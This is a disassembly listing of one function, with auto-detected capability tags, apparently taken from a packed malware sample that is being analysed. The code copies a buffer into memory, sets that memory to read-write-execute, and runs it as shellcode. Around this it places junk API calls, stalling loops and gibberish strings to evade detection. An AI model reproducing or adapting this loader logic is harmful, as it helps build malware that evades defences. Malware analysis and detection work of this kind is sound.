Function at 0x406a80
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get common file path
Get file attributes
Get geographical location

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40bee6
mov eax, dword fs:[0]
push eax
sub esp, 0x460
mov eax, dword [0x42c07c]
xor eax, esp
mov dword [esp + 0x458], eax
push ebx
push esi
push edi
mov eax, dword [0x42c07c]
xor eax, esp
push eax
lea eax, [esp + 0x470]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_LocalLock]
mov edi, dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x18], 0x3661b338
lea ebx, [ebx]
cmp dword [0x4359a4], 0xc31
jne 0x406b09
push 0
call esi
xor eax, eax
lea edx, [esp + 0x1c]
push edx
push eax
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x40]
push edx
push eax
mov dword [esp + 0x28], eax
call edi
call ebx
dec dword [esp + 0x18]
jne 0x406ae0
cmp dword [0x4359a4], 0x7c
mov eax, dword [0x42d9f4]
mov dword [0x435d2c], eax
jne 0x406c3d
xor esi, esi
push esi
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov edi, dword [sym.imp.KERNEL32.dll_FindAtomW]
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
push esi
call edi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_RaiseException]
cmp dword [0x4359a4], 0x110a
jne 0x406cb0
xor eax, eax
push eax
mov dword [0x435998], eax
mov dword [0x43599c], eax
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push str.migicaranafojoyota_feganowofu_vuj_lelalezecebesijorabifovihapida
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapSize]
push 0
push 0
call fcn.00401df1
push 0
push 0
call fcn.00401df1
push 0
push 0
call fcn.00401e3c
add esp, 0x18
push 0
call fcn.004021bd
call fcn.004068a0
mov eax, dword [0x4359a4]
xor ecx, ecx
test eax, eax
je 0x406cec
mov edx, dword [0x435d2c]
mov dword [esp + 0x14], edx
mov eax, 0xa231
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov dl, byte [eax + ecx]
mov eax, dword [0x4356c8]
mov byte [eax + ecx], dl
mov eax, dword [0x4359a4]
inc ecx
cmp ecx, eax
jb 0x406cc0
mov edx, dword [0x4356c8]
lea ecx, [esp + 0x20]
push ecx
push 0x40
push eax
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00406a10
call fcn.004068c0
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
lea eax, [esp + 0x3c]
push eax
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x406d47
cmp dword [esp + 0x44], 0xf5bed7
jne 0x406d50
inc esi
cmp esi, 0x1ece7a52
jl 0x406d24
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileW]
xor esi, esi
mov edi, edi
cmp esi, 0x12e6c3
jne 0x406d6d
call fcn.00406890
cmp dword [0x4359a4], 0x3dc
mov dword [0x4356cc], 0x8e46a6f0
jne 0x406da7
xor ecx, ecx
lea eax, [esp + 0x1c]
push eax
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x2c], ecx
call edi
push 0
push 0
push 0
push 0
push 0
push 0
push str.rixovohucivununiboneb_huzurucurajo_jajonaberewevale_sivakawizematec
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x406d60
mov ecx, dword [esp + 0x470]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x458]
xor ecx, esp
call fcn.00401939
mov esp, ebp
pop ebp
ret